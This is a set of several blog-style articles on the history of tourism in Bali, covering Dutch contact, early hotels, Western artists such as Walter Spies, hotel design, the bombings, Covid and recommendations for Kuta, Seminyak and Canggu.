history of tourism in bali

The Tumultuous History of Tourism in Bali

• July 22, 2022

What’s the first thing that comes to mind when you think of Bali? Island of the Gods, surfer’s paradise, stunning beaches, magical temples?

These things are famous in Bali today, and drive people from all over the world to fly thousands of miles for a vacation. Some satisfied tourists even choose to retire there!

But all of this didn’t happen overnight. There is a long history of tourism in Bali.

It took over a hundred years until Bali became the dream destination it is now.

So, why and when did the first tourists come to the island? When did Bali start relying on tourism? Did it change Bali’s landscape?

Get ready to delve deep into interesting history of tourists in Bali!

The History of Tourism in Bali

Bali’s journey to become what it is today took a very long time – hundreds of years!

1597: The First Contact with Foreigners

Balinese locals had their first contact with foreigners after the arrival of some Dutchmen in the late 16th century.

Cornelis de Houtman, a Dutch voyager, explored the island for 30 days. He recorded his journey in a report called Bali Verslag. In the report, he noted his surprised at the acceptance of the Balinese people, which was different from his other travels.

To show respect to the Balinese, he sent Lintsgentsz and Manuel Rodenberch to deliver gifts to the Gelgel Kingdom.

De Houtman left the island, but Manuel Rodenberch and his companion, Yacob Claess chose to stay. They intended to find out more about the Balinese people.

This is when the relationship between the Balinese and Dutch began.

17th to the end of the 19th century: The Ups and Downs with the Dutch

From the 17th century to end of 19th century there was a clash between the Bali rajas (kings) and the Dutch. The history of tourism in Bali isn’t all sunshine and roses.

The imposed Dutch slave trade caused aggression among the Balinese from Buleleng and Karangasem (North to East).

Bali lost the fight, and it triggered a bad relationship between the countries.

It got worse at the end of the 19th century when the Dutch tried to rule and interfere in the internal affairs of the Balinese Kingdom.

In turn, the rajas made it very complicated for Dutch citizens to visit Bali.

To enter, they needed special permission from a local raja which could take months to approve. The number of travelers was limited, and even they made it, the trip would be expensive.

1910: The First Non-Indonesian Family Resides Permanently in Bali

The difficult travel restrictions didn’t last long.

Around 1910, the first non-Indonesian families resided permanently in Bali.

They were mostly Dutch, living in Buleleng and Denpasar.

When the island started to develop better infrastructure like roads, bridges and dams, is when Bali really started to welcome more tourists.

1920s: The Arrival of the First Real Tourists

The 1920s was the beginning of the tourism in Bali. The island only had limited places to stay for tourists – it wasn’t the resort heaven it is now!

The one place to stay was Bali Hotel, now Inna Bali Hotel Denpasar .

It was build in 1927 by Airlines Shipping Netherlands, and was the first international resort. Queen Elizabeth and Mahatma Gandhi stayed there!

It’s fame came from their 20-course meal named rijsttafel or rice table. Rows of dishes were served on separate plates for everyone to grab and share.

1930s: Bali Tourism is Advertised

From tens to hundreds, in the 1930s is when tourism began to thrive!

The Dutch made it popular when they realized that tourism in Bali was very profitable.

The main advertisement showed Bali as an exotic and luxury travel destination. They advertised the temples and rice fields, to bare-breasted Balinese women. Yep, you read that right!

Many tourists came to see, and take photos of the topless Balinese women. Over the decades, the women began to cover up once they saw tourists with cameras.

1940 – 1960s: A Low Point of Bali Tourism

In 1942 Japan occupied Indonesia, known as the Dutch East Indies at the time. The Second World War was also happening, affecting the amount of visitors to Bali.

In 1945, Indonesia finally became independent. The first president, Soekarno, loved Bali and visited often.

Because of his love of the island, he decided to introduce Bali to the world.

He developed the first five-star hotel in Sanur, and the Ngurah Rai airport.

The hotel, now named as Grand Inna Bali Beach Hotel, still rent the room formerly occupied by Soekarno. It is on the seventh floor, with a large window facing Sanur beach.

1970s: The Origin of Cultural Tourism in Bali

Young hippies were the typical tourists who came to Bali in the 70s.

This kind of tourist didn’t spend a lot of money, not really contributing to the island.

They didn’t stay in hotels, but with local families in traditional kampungs . They also didn’t eat in restaurants, preferring local food from small warungs .

The Indonesian government started a plan to develop Bali. They wanted to build thousands more hotel rooms, but the plan scared the Balinese people. The locals were afraid that the commercial development of tourism in Bali would ruin their culture.

Balinese culture was seen as a heritage that must be preserved, whereas after the arrival of tourists, Balinese culture turned into a “capital” that must be monetised.

The government created – cultural tourism. And luckily, the tourists loved it!

Visitors came to Bali not only for the beautiful beaches, but also for the mystical temples and other cultural sights.

1980s to 1990s: Negative Impact of Tourism

Cultural tourism in Bali attracted more tourists, which meant more money.

This money was used to take care of their temples, and helped to hold more ceremonies, for tourism’s sake. It wasn’t what the Balinese people wanted.

In the early 90s, they were upset as most of the income was being spent on tourism – even though there were other things to worry about, like healthcare and education.

There were big scandals happening throughout the history of tourism in Bali.

A temple by Sanur Beach needed to be demolished for the development of the Bali Beach Hotel. The temple lord held a mapinunas ritual to ask the Gods.

During the ritual, all the followers fell into a trance, and became unconscious. It is believed as the sign of God’s rage. But demolition still happened.

Another incident happened in 1999 when a beloved Balinese politician didn’t become elected president. Riots took over the streets in Bali, with fires set in order to protest the government. At the time the island wasn’t safe for tourists.

2000s: The Bomb that Shocked the World

As Bali was recovering from the riots, a shocking bombing happened.

It was 2002, and the island was beginning to see an influx of tourists.

Devastatingly, 200 of them were killed tragically in a bomb attack in the tourist heart of Kuta.

Once again, the face of tourism in Bali was smudged. Bookings were canceled, hotels were forced to close, and many upcoming projects were abandoned.

In 2005, another bomb attack. This time, 2 suicide bombers killed 20 people.

2010s: Bali Tourism Recovers

It took nearly a decade for Bali tourism to recover.

By 2011, many new hotels were established ready to accommodate the incoming visitors.

There was also a slight change in the types of accommodation available. Private villas, resorts and hostels stormed the island. Some were built by wealthy Indonesians, while others were owned by expatriates.

Taking over stunning rice fields, with beautiful views, the luxe places to stay had a severe impact. From water supplies to waste problems, the destruction of rice paddies affected the environment.

Sustainable tourism in Bali became a popular concept at this time.

2020: Covid Strikes, Tourism Collapses

Bali tourism has grown for hundreds of years, and became the main source of income for the majority Balinese people. In 2020, 53% of the economy in Bali came from tourism.

When covid struck Indonesia at the beginning of the year, the economy in Bali was dragged down EXTREMELY.

Travel bans and activity restrictions applied not only to locals, but foreign tourists. The unemployment rate exploded from 39,288 in 2019, to 144,500 in 2020.

Through all the negatives, it gave Bali’s nature a much needed break.

2021: Tourism in Bali is Starting to Rise

In the final months of 2021, tourism in Bali started to rise again, but only by domestic visitors.

The national Implementation of Restrictions on Community Activities or PPKM began to loosen up. Hotel rooms and flight ticket prices were very cheap.

There was even an island digital nomad trend of Work from Bali, in addition to Work from Home (WFH) and Work from Anywhere (WFA). The number of Indonesians migrating to Bali for long term stays also rose.

Foreign tourist visits were still minimal, even though Bali had started to open the gates.

Strict policies were said to be the cause of foreign tourists’ reluctance to go to Bali. The policies were related to visas, quarantines, flights, and insurance obligations.

2022 in progress: Welcome Back, Foreign Tourists!

Quarantine exemption polices in April, and the return of Visa On Arrival (VOA) made tourism in Bali start to improve, with foreign tourists eager to get to the island.

Although numbers are still lower than before the pandemic, it is definitely better than 2021!

Now both local and international tourists are beginning to start back with the regular Bali activities and tours.

The recovery of tourism on the Island of the Gods isn’t estimated until 2024 – there is still hope.

How Tourism Changed Bali’s Landscape

Tourism has been a huge part of the evolution of Balinese society for hundreds years. It has brought significant change, especially to the landscape.

The easiest example to see is the decrease of rice fields. They are now replaced by villas, resorts, cafes and restaurants.

It’s happening in almost all areas of Bali. The change encourages modernity and globalization on the island, but the question is ‘is it all worth it?’

For a long time, rice fields in Bali use the Subak system. A traditional irigation unit (that has been registered on UNESCO World Heritage List). But as the number of rice fields decrease, so does Subak.

The existence of Subak is very important for Balinese people. For centuries, Balinese farmers have had easy access to fresh water to irrigate their fields, as well as to drink. Now the privilege is disappearing.

In recent years, it has been reported that residents in the agrarian areas of Bali are having difficulty getting drinking water supplies, especially in the dry season.

Rivers in Bali are also experiencing drought in the recent decade. Even Bali’s largest fresh water source, Lake Buyan, has dropped by 3.5 meters!

The condition is alarming enough, that some experts call it a “water crisis.” So far, the effects of the decreasing supply have only been felt by the farmers close to tourist areas.

Farmers in more rural areas don’t really feel the changes.

Tourism in Bali also generates waste. It is the area with the most waste production in Indonesia.

Every day, waste generated in Bali reaches 4,281 tons, or 1.5 million tons every year.

The Bali government has began to introduce waste management systems, one of which is issuing a policy on plastic waste – you won’t be offered a plastic bag in stores anymore.

Sustainable tourism in Bali has been tested for decades. In early 1987, the Bali Sustainable Development Project was initiated. Till now, more tourist facilities have shown awareness of this type of tourism by providing and facilitating trips with zero-waste.

Bali Hotspots Through the Years

Bali was once a home for locals, now it’s a tourist haven.

The hotspots change from year to year. Once it was Kuta, then Seminyak, now Canggu.

Kuta is famous for its sprawling beach, buzzing nightlife and varied shopping.

It isn’t the heart of tourism like it was back in the 90s, but visitors are still drawn in for sunset sips on the sand and impressive shopping in the vast shopping centres. Staying in Kuta is great for families and large groups.

Things to do in Kuta:

• Spend day at the beach
• Lunch in a traditional warung
• Enjoy bustling nightlife in bars and clubs
• Visit WaterBom Waterpark
• Try out water sports like parasailing and banana boat
• Enjoy a massage on the beach
• Hit your credit card with shopping at Beachwalk
• Wander local markets

Where to stay in Kuta:

Sheraton kuta bali.

Sitting across the road from Kuta Beach, Sheraton Bali is a central and chic resort. Surrounded by shops, restaurants, local markets and, of course, the beach, it is an ideal location!

Seminyak is the epicentre of trendy beach clubs in Bali .

The long beach is wonderful to walk, sunbathe or just spend the day by the pool at the beach clubs.

Things to do in Seminyak: 

• Relax, sunbathe and enjoy sunset at Seminyak Beach
• Luxuriate in beach clubs
• Learn how to surf
• Go for brunch
• Dine at the best restaurants in Seminyak
• Hit the best shopping spots in town
• Visit fine art galleries

Where to stay in Seminyak:

Stellar capsules.

No kidding, this is one of the best hostels in Seminyak . The capsules are private and spacious for a super relaxing stay. You can enjoy time in the pool, and getting to know your neighbors.

In the last 10 years, Canggu has started to gain popularity among surfers and millennial hipsters.

The area is well-known for surfing, partying and budget accommodation. It is a backpackers haven with a wide range of cafes and restaurants.

Things to do in Canggu:

• Relax at the beach or a pool bar
• Join yoga lessons
• Eat at hipster cafes
• Dine at one of the best restaurants in Canggu
• Stay in a luxurious Canggu villa

Where to stay in Canggu:

Best Hostel in Canggu

Tribal Hostel

Away from the major Canggu bustle in scenic Pererenan, Tribal Hostel is a modern coworking hostel. The HUGE space has both dorms and private rooms, as well as an onsite cafe, swimming pool, pool table and bar. After a day of working on your laptop you can jump in the pool for sunset drinks.

Best Hotel in Canggu

Theanna Eco Villa and Spa

Theanna Eco Villa combines Balinese, Japanese and Scandinavian designs. Each of the villas are luxurious and well equipped while the sprawling shared spaces are ultra-chic and beautiful. It is a magnificent place to stay in Canggu.

Final Thoughts

The progression of Bali from an unexplored, tropical island to the sprawling, bustling tourist hotspot it is today, took hundreds of years.

Through colonisation, terrorist attacks, natural disasters and pandemics, tourism in Bali has taken a hit many times – and always bounces back.

Here is to the return of millions to the island, a thriving economy and many more people experiencing the magic of Bali.

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How 5 People Helped Create the Bali of Today: The History of Tourism in Bali

Tourism is big business in Bali. It’s easy to look at the influx of tourists and see it as ruining and eroding the authentic traditions of the Balinese. But did you know that many of the traditions are only so widely known and possibly only survived because of tourism?

In this article, we explore the history of tourism in bali, and how the balinese being such natural artisans have helped create the bali we love today., the paradise of bali for 19th century travellers, the literary promotion of the island, creative adaptation of balinese culture, the regal tradition of balinese crafts, a tropical atelier of talents, the amazing bali of today.

Today’s Bali has countless ways of attracting visitors. Whether lured here by its tranquil beaches and tropical vegetation, ancient temples and the colourful rituals that are still practised in Balinese life, luxurious yoga retreats, or the vibrant nightlife, a holiday in Bali, voted on TripAdvisor in 2017 as the world’s number 1 destination , is high up on the list of places to experience.

The phrase “for tourists” is often associated with mass and crowd pleasing, whether activities that everyone can enjoy, or souvenirs that vaguely reference cultural heritage. What many tourists might be surprised by is that the Balinese culture they are experiencing was shaped by and should be seen within the context of tourism. Let’s step back in time to look more closely at Bali’s underlying appeal and how the island’s image as a romantic, tropical idyll came to fruition.

Which significant culture has ever evolved fully autonomously, free of being enriched by or naturally blended with foreign influence? Bali is a paradise not only discovered but also created by the way it’s been perceived by westerners, and it’s not a bad thing! From the middle 19th century to 1908, all the Balinese kingdoms, little by little and one by one, fell under Dutch control. A steadily increasing stream of tourists along with western artists, scholars and anthropologists started arriving, infatuated with the images of tropical nature, Hindu religion, rituals and performances.

What post-impressionist painter Paul Gauguin found in Tahiti, Dutch tourists were discovering in Bali. It became a substitute and a natural successor to the Pacific island, where the local culture had already vanished due to the conversion of its native population to Christianity.

It was Gregor Krause , a German doctor working under the Dutch, who upon being stationed in Bali in 1912 took a series of photos that became widely known around the world in his book titled “Bali” published in 1922.

This “image” of Bali, captured on earliest photographs is what people still seek. Walter Spies , a German multi-talented artist, settled in Bali in 1927, and a group of international musicians, artists, scholars and anthropologists gathered around him. Spies made a base in Ubud, creating a centre of arts. Spies and his associates became “producers” of the “Bali paradise” – exporting tales and objects from their beautiful, artistic, spiritual lives back to the “stuffy” 20’s west.

One of his compatriots, Mexican artist and anthropologist Miguel Covarrubias , lived in Bali with his wife Rose. Famed for his drawings in The New Yorker and Vanity Fair magazine, Covarrubias travelled all over Bali with Spies, seeking out obscure traditions, ceremonies and wildlife.

In the late 1920’s, an American named Hickman Powell took a leave of absence from his job at the New York Morning Herald for a trip around the world. Bali at that time was ushering in a new era of luxurious and elitist travel, and Hickman was one of only a few tourists to experience it. His travels resulted in his first book, The Last Paradise , published in 1930, an account of the history and customs of the island of Bali, which positively romanticized the island – presenting an unspoiled country, inhabited by artistic and spiritually rich people. By 1937, Miguel Covarrubias finally wrote about his Balinese adventures with Spies in his book, Island of Bali . The book and particularly the marketing surrounding its release contributed even more to the Bali craze in New York.

Even now, Bali’s appeal is rooted in the ideal of where the South Pacific meets Asia, where the scent of India and the Hindu tradition remained after Java converted to Islam. Yet it was actually under the Dutch administration that Hinduism became the “real” religion in Bali. Walter Spies was interested in the authentic Bali but not the way it had changed under Dutch stewardship. He introduced Balinese culture to European salons, where Balinese gamelan music (the mostly percussive music played by mallets) inspired Claude Debussy.

A perfect example is the Kecak Dance – originally derived from a ritual trance – was choreographed by Spies in the 1930s. The Kecak Dance is based on the epic Ramayana poem from ancient India that tells the story of the divine prince Rama and his struggle to rescue his wife Sita from the clutches of the demon-king Ravana.  The dance was turned into a spectacle still seen by tourists today, and most famously by the Batey advertising agency in the 1990s for its evocative Singapore Airlines campaign.

The Kris Dance, in which a group of men ritually stab themselves with short knives (called kris) in honour of the Gods, started being performed for tourists in 1936. Again Spies was the creator, originally bringing the performance to the Paris Colonial Exhibition in 1931.

Colin McPhee , a Canadian musician, spent the 1930’s on the island, completely in love with gamelan music. His subsequent writings and compositions proved seminal in popularizing Balinese gamelan music in the West, inspiring Benjamin Britten , the British composer, with the compositions for The Prince of the Pagodas, Curlew River, and Death in Venice .

The composer wrote about his discoveries of music in Bali and his understanding of an astonishing culture where the arts are a prime preoccupation in his book, A House in Bali . This chronicle of his life in Bali is still considered a valuable introduction to Balinese culture.

Margaret Mead, an American cultural anthropologist, and part of Spies’ entourage, wrote in one of her letters:

“It is the most extraordinary combination of a relatively untouched native life going along smoothly and quietly in it’s old way with a kind of extraneous, external civilization superimposed like an extra nervous system put on the outside of the body…” “But all this apparent “civilization” is on the surface and Bali seems to have learned through a couple of thousand years of foreign influences just how to use and how to ignore those influences. Accustomed to an alien aristocracy, accustomed to successive waves of Hinduism, Buddhism and so on, they let what is alien flow over their heads.”

Describing the deep layers of culture under the constant change, Mead probably disregarded many elements and romanticised plenty, but she managed to capture the spirit of Balinese culture that was accepting and embracing the foreign influence along the way. Bali adapted to the image expected by the Westerners, and the tourism stimulated the original culture and preserved it in a newly created version. Extracted from the original, solely ritual, religious context and planted into an aesthetic one, performance became one of most elevated arts in Bali.

Dance, theater and crafts only became ‘art’ in the context of tourism. Until Spies, Balinese art was focused on religious motifs. Only under western influence did landscapes and everyday scenes start appearing in paintings and textiles. The 1930s was a real cultural renaissance and a rebirth period for the Balinese culture, including music, dance and art, we know and admire.

It’s not only foreign influence but also the remarkably progressive and foresight of the Indonesian legislative bodies, that enabled this unique culture to be born and to keep on evolving. The 1945 Indonesian constitution, clause 32 states:

Cultural activities should lead to the advancement of civilisation and culture, and the strengthening of unity without rejecting new elements of foreign cultures which can develop and enrich the own national culture and raise the human dignity of the Indonesian people.

How incredibly self-confident, proud and wise these words sound 70 years later, when the constant fear of losing cultural identity, due to political or economical mass migration, is spreading all over the world. Bali is a unique example of how preservation and growth can happen simultaneously and peacefully, blending the old and the new, and embracing the beauty of what is alien, while remaining true to itself. Travellers in the 19th and early 20th century would have been entranced by the aesthetics and skills of Balinese crafts and craftspeople that were part of the fabric of religious and cultural life in every community. The religious rituals they attended would be generously adorned with exquisite offerings made from flowers, leaves and other parts of the flora of this sacred volcanic landscape. Carvings from wood and stone were inherent in artistic expression. These objects of creation contributed to the allure of the magical paradise experienced by the Dutch and the stream of European artists who visited the island.

It is what travellers today come in search of to find, delight in and perhaps take away a little part of Bali’s unique aesthetic tradition. It is also what never stops to inspire and drive the world’s famous artists and craftsmen. Some who arrive here choose to stay and merge their skills with local traditions, and support the local economy, or like Donna Karan , to share this inspiration with the rest of the world:

“The artistry in Bali speaks to my passions and fuels my imagination. I’m forever inspired by the legacy there, the generations of craftsmanship and the extraordinary use of natural resources.”

The furniture in Karan’s Urban Zen Collection are handmade in Bali, in close collaboration with Balinese artisans, in order to create the designs that resonate with the local spirit of harmony and tranquility. Traditionally, certain Balinese villages specialise in specific crafts and art forms. The story says that once upon a time, the King had appointed an industry upon each area according to their natural resources and location. For example Ubud became a village of painters, Celuk is famous for silversmiths, Mas for wood carving.  In Batuan you can find traditional Barong masks and costumes , Sukawati produces Wayang Kulit – handmade puppets used for shadow theatre performance, and Amed for over 2 centuries has been famous for the exceptional sea salt .

In some of these places, you can feel like you have transported back in time. Traditional methods and tools are still being used, and secrets to the craft are passed from father to son. The range of highly skilled Balinese craftspeople and the exquisite objects they produce is extraordinary. They are a testament to an indigenous culture that had also placed great importance on beauty and creating things with care and attention to detail.  Some are more indigenous in their roots, and others have evolved as a result of the continuous, inevitable yet inspiring cultural blend and sharing of skills.

Now here’s a question. Having read this and maybe having had some time already well-spent on exploring the island, aren’t you under this strange impression that somehow the Balinese must have scored massively in some universal lottery? The amount of talents per capita on this little island is slightly overwhelming. Some of them might have barely finished primary school, but they all can dance, paint, carve, play instruments, you name it!

Many have asked the same question and here’s an answer. In 1930’s Margaret Mead and Gregory Bateson conducted research in Bali, and in their book “ Balinese Character ” Mead analysed the Balinese upbringing and noticed that from an early age, children here are taught to adapt rather than to follow their own whims. They react with mimicry, and increasingly identify with the adults. They ‘learn with the eyes’.

The result of such an upbringing is not only the passive learning from the youngest age but also very strong sense of community. Unlike in western countries, a Balinese child starts participating in cultural activities very early. This training of the visual memory applies to almost all the aspects of social life.

“The shows in Bali are so frequent, and so repetitive that their characters must haunt the memory of the individuals and come back to the surface, eyes closed, in the automatism of the movement.”

Children are taught to memorize gestures, choreographs, sounds and patterns. This and their natural familiarity with the environment makes every Balinese an artist, an anonymous one, with their creative talent being a part of the community.

So, the Bali we know today is the Bali of Walter Spies, Hickman Powell, Gregor Krause, Miguel Covarrubias, and Colin McPhee. However, there is no denying that the Balinese people are talented and artistic, so perhaps even without the promotion of Bali in the west back in the 1920s, the Balinese magic would have still created the number one travel destination in the world today.

Awani Editor

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Designed to Last: Lessons from Bali’s Tourism History

Bali’s tourism industry seems to constantly be at a challenging crossroads. A perpetual tug-of-war between tradition and modernity, pulling at each other from opposite sides. Though ironically, both are equally necessary. It is rwa bhineda , the Balinese philosophy of duality, at work.

Tourism has been growing for a century and despite how much of a double-edged sword the industry may be, it has certainly brought prosperity to the island. In that time, Bali has endured an evolution, both in environment and society, and its increasing interaction with the wider world has been a direct cause of this. Yet, with 70-80% of its economy still dependent on the industry, finding the right ‘balance’ remains a necessary goal. Whilst many think into the future to figure out the right path, some inspiration lies in the past.

Since 2019, Radit Mahindro has been chronicling the long and intriguing development of Bali’s tourism industry. This began as casual-yet-passionate archiving on a blog and Instagram, focused predominantly on hotel architecture and design. Passion turned professional and widespread interest has resulted in Radit and partner Krisna Sudharma landing a book deal, set to be published in 2024.

The title of their project, ‘Paras’, has multiple meanings in Bahasa Indonesia, it can be translated as ‘face’ or ‘surface’, ‘stone’ or ‘limestone’, and ‘even’ or ‘balanced’. Thus it simultaneously refers to how Bali is perceived, its built environment and culture of creation, plus the need for harmony on the island.

A sojourn around Bali’s most popular tourist areas will make us question all of these important components. Infrastructure lacking and identity undefined, with every region presenting its own ‘character’ and own version of the tourist experience. From Ubud to Uluwatu, Tabanan to Sanur, there are few common threads that run between them. The ‘face’ of Bali is a mosaic and a confusing one at that.

This isn’t new, according to Radit, who notes a fragmentation even in the very beginnings of tourism. It starts precisely 100 years ago, in 1924: “When Koninklijke Paketvaart-Maatschappij (Royal Packet Navigation Company) established a weekly steamship route between Bali, Batavia (Jakarta), Singapore, Semarang, Surabaya, and Makassar. KPM eventually opened the first international hotel in Denpasar, Bali, in 1927: the Bali Hotel,” writes the history buff. Many will recall the beautiful tourism posters drawn by the Dutch artist Willem G. Hofker advertising the island and the Bali Hotel (1947).

However, separate initiatives were happening in these early days: in Ubud, the royal family had begun inviting artists to take residency with them, seeing the arrival of German artist, Walter Spies and Dutch artist Rudolf Bonnet. This would result in the birth of the Pita Maha Art Group (1936) which was the driving force behind much of Bali’s ‘ cultural exposé ’ around the world. 

Also in 1936, quite independent of this, was the arrival of a young American couple. Bob and Louise Koke arguably pioneered the ‘beach and surf escape ’ with the opening of the Kuta Beach Hotel Bali.  

“In my opinion, these two ‘styles’ of tourism have existed to this day,” comments Radit. On one side the exotic cultural enticements started by the Pita Maha and the promise of a paradise island and swaying palm trees that the Kokes experienced.

Due to the Second World War, these initial sparks of tourism were snuffed out before they could properly catch fire, but the word was now out about Bali. The next big development came after Indonesian independence when the national government made a concerted effort to make Bali an international destination. They built a behemoth, 10-storey hotel in Sanur which was to be the Bali Beach InterContinental Hotel (later the Bali Beach Hotel, The Grand Bali Beach, then Grand Inna Bali Beach).

Opening in 1966, its Miami-style structure drew some protest from local residents saying that the entire building was an insult to the island and its environment. Ironically, the uproar led to the establishment of new hotel guidelines in which the government itself stated no building must exceed 15m (the height of a coconut tree) and should adhere to local aesthetics. “This was spearheaded by prominent figures, including Wija Waworuntu of the Tandjung Sari,” adds Radit.

Wija and the Tandjung Sari Hotel are important catalysts in Bali’s development of a modern identity. Wija Waworuntu was a mixed Dutch-Indonesian, born in Holland but raised in West Java. A natural creative, Wija was a bamboo furniture producer by trade, but his interests expanded into art, antiques, architecture, Balinese culture and design. Tandjung Sari was not built as a hotel but as a home base for business trips from Jakarta, and slowly expanded with four small bungalows to accommodate visiting friends.

When it was constructed, back in 1962, it was the antithesis to the towering Bali Beach Hotel. Low-rise and low-key, built within the principles of traditional Balinese architecture, it was the epitome of understated luxury. Waworuntu’s artistic flair and penchant for good living filled it with life. This was the birth of Bali’s first boutique hotel.

Radit’s personal interest in design and architecture means that he has read this history through a particular lens, but it has helped to pinpoint a significant moment. This began with the arrival of the artist Donald Friend in 1962, who a few years later stayed at Tandjung Sari and became a partner of Wija. This would snowball into a renaissance of sorts that would help to define Bali’s new ‘face’ to the world.

Wija and Donald developed Batujimbar, the iconic estate that sprawls along prime beachfront land of Sanur. Envisioned by Donald, the estate was designed by none other than renowned Sri Lankan architect, Geoffrey Bawa , father of ‘Tropical Modernism’. Inspired by Balinese traditional architecture, with raised brick pavilions entered through jutting steps, open balés with thatched roofs and open courtyard layouts, Villa Batujimbar was born. Through Bawa’s particular style, the vernacular architecture was subtly transformed for modern tastes.

This became the keystone in new Balinese hotel design. The Batujimbar estate housed influential Australian architects Peter Muller and Kerry Hill , as well as legendary hoteliers Adrian Zecha (Founder, AMAN), Ong Beng Seng (Founder, Four Seasons Resorts in Bali) and his wife Christina Ong (Como Hotels & Resorts).

This unlikely combination of powerhouses shaped Bali’s hotel landscape, with iconic hotels born out of this concentrated interaction between visionaries. The Bali Hyatt (Palmer & Turner – room & buildings; Hill, lobby & public facilities), The Oberoi (then Villa Kayu Aya, Muller), Amandari (Zecha and Muller), Four Seasons Resort Bali at Jimbaran Bay (Ground Kent Architects-architect; Jaya Ibrahim, interior refurbishment). A notable mention is of course Made Wijaya, aka Michael White, the famed landscape designer who brought life into many hotel developments.

The creation of these hotels in the 80s created what would eventually be considered ‘Bali-Style’, a new Balinese export of sorts that inspired a new tropical aesthetic and even lifestyle. It was a golden era, attracting the likes of David Bowie, Mick Jagger, Annie Lennox and Ringo Starr. They had found that balance between localism and contemporary comfort, a recipe that has contributed to many of these properties remaining timeless to this day.

“Designs were informed by an intellectual curiosity and genuine desire to create something that was appropriate for the surrounding environment. They were respecting the landscapes and using the local raw materials,” reflects Radit. “They were just learning, putting it all together. The buildings are a documentation of their journey in understanding what Bali is.”

Whilst these grass-roots style visions were being celebrated, the Indonesian Government had other ideas. In 1982 they created the Bali Tourism Development Corporation (BTDC) complex in Nusa Dua. Grand resorts manifested in this manicured complex and five-star resorts, commodious and luxurious with hundreds of rooms, became the island’s mainstream destinations. Due to building regulations set after the construction of the Bali Beach Hotel, the resorts adhered to lower-rise, Balinese-inspired designs, and intended to invoke a sense of local culture and atmosphere.

Nevertheless, the large-scale nature of BTDC changed the tourism landscape. Bali now needed high tourist volumes, rooms had to be filled, and this created a shift in the industry. Slowly a mass-tourism model crept in and has since seen the development of multiple tourist hubs over the last two decades, from Kuta to Canggu, and even over-tourism in areas like Ubud.

“I think we really lost control after the Bali bombs,” Radit muses. “We were so desperate to have tourists back that at that point we adopted an ‘anything goes’ philosophy.” This certainly parallels post-Covid Bali, which appears to display the most ravenous and all-consuming development in the island’s history.

We now find ourselves on an island of mixed signals. Not quite the ‘island of art and exotic culture’, as first portrayed by the Pita Maha; nor the surfer’s tropical escape of Bob Koke. Not that these should continue, but there seems to be no particular ‘style’ that defines the island’s identity appropriately and accurately. With changing demographics of foreign residents and big Indonesian investors, Bali has become a canvas upon which others paint their own visions — and often without the island’s best interest at heart. This ‘bring the outside in’ mentality is certainly in contrast to the perspective of the Sanur designers, who wanted to ‘bring the inside out’. 

It may be too late to change what exists, but, much like the original ‘master plan’ made in the 70s, Bali must create a new set of principles that guide the island’s tourism industry to brighter futures. One that creates a clearer image of what the island is and stands for.

So, where do we go from here? Radit is inspired by the hotel group he currently works for, Aman, whose ethos is to ‘maintain locality’. “We need to have some self-respect for what we have to offer. At the end of the day, Bali’s backbone is its landscapes, people and culture,” he shares.

“I don’t like the idea of Bali being pigeon-holed. Culture doesn’t have to be trapped in the past; it evolves” says the visual communications graduate. He draws a parallel to Japan where even in a spectrum from rural traditional to hyper-modern there is an obvious and almost tangible ‘ Japaneseness ’. He quotes Indonesian designer Jaya Ibrahim, “I do not have to wear batik, sarong and a blangkon for people to know I am Javanese. They will know it from my spirit.”

The Potato Head Suites, previously called Katamama, is one example Radit shares of how we can approach Balinese heritage in a contemporary way. Though it may not appear obviously Balinese in form, it is a showcase and celebration of local artisanship. The entire building was constructed out of 1.8 million terracotta bricks, each hand-crafted by artisans in Darmasaba Village; in-room fabrics use local indigo-dyed ikat; and it featured a bar-meets-lab entirely dedicated to arak, the local alcohol. Other examples are certainly out there.

“What is quintessentially Bali? The kecak dance is not pure, it was made in the 1920s, though inspired by original choreography,” continues Radit. “Even the ‘Bali-style’ architecture is not exactly Balinese, it was made for contemporary tastes at the time. But these have the origins, essence and processes that respect Bali.”

Tourism today is seen as a commodity, and hospitality is often approached as such. But clearly this is having severe negative effects on the island, and also on the visitor experience. Is there a way in which we can improve all simultaneously? Radit doesn’t quite share a solution, but a philosophy that may help us get there:

“The original definition of hospitality comes from ‘being a host’. And that’s how I think we should think about Bali’s tourism, we are hosting people in our home – we provide what we, our house and our surroundings have to offer.” This mindset opens us to provide something uniquely and unashamedly ours. And yes, when we invite people into our home, don’t we always make sure the place is clean and tidy?

To stay in the loop on the publishing and updates on ‘Paras’ make sure to follow @parasparas_ or at parasparas.com | An exceptional ten-part blog series titled “A Quite Long History of Bali Hotel Architecture” by Radit is available at rad itmahindro.medium.com  

Edward Speirs

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History of tourism in Bali

When talking about about tourism we’re usually referring to European tourism in the 20th Century. The first western account of visiting Bali was by Dutchman Aernoudt Lintgens in 1597 . Other famous westerners that followed included the Danish trader Mads Lange (200th anniversary Sept 18th 2007) and German artist Walter Spies . Spies was part of the real force that created an aura around Bali, inspiring people as far away as New York and Paris to take interest in a seemingly lost paradise rediscovered. Walter Spies lived a good chunk of his time in Campuhan close to Ubud and his paintings of village scenes in Bali really are atmospheric. Riding around Ubud / Campuhan in this present time one can see similar sights, that make one stop and wonder ‘did Spies paint at this location?’ In the first part of the 20th Century tourists reached by by steamship from Java landing in the port of Buleleng (Singaraja). the first tourist (The Bali Hotel) hotel was opened 1926 and located in Denpasar , which meant a drive over the mountains and through bangli, as documented by Miguel Covarrubias in 1936 . Visitors would travel by limousine enjoying the traffic-free roads, which in those days were probably not in the greatest shape.

Artists from overseas preferred the moer exotic locations of Ubud, Campuhan, Sideman and Iseh . Balinese Prince Tjorkorde Gede Agung Sukawati started a movement for the revival and continuation of Balinese art. His close friends Walter Spies and Rudolf Bonnet providing a new set of skills and ideas. The present location of the Hotel Tjampuhan was the first travelers hostel in the area, opening in 1937 . Adrien Jean Le Mayeur de Merpes basing himself in Sanur after arriving in 1932 .

In 1936 Bob Koke and his wife Louise , opened the Kuta Beach Hotel creating an informal (for the period) type of accommodation and atmosphere for visitors. The simple bamboo and alang alang thatched roofed creating an idyllic setting on peaceful and mostly used Kuta Beach.

The 1960’s saw the emergence of Sanur on the SE coast come into its own, with famous expats such as Australian artist Donald Friend and take up residence. The tranquil waters of Sanur, protected by a reef was a perfect place for a large hotel, the Grand Bali Beach Hotel being the largest of its day.

The idea for Nusa Dua started in the 1970’s with a stretch of mangrove and white sand beach on the eastern Bukit being transformed into a line of 20 luxury resorts.

Bali’s international airport , Ngurah Rai in Tuban (although referred to as Denpasar) opened in 1969 , the wrecks of planes being hauled off and left at the edge of the airport in the early days.

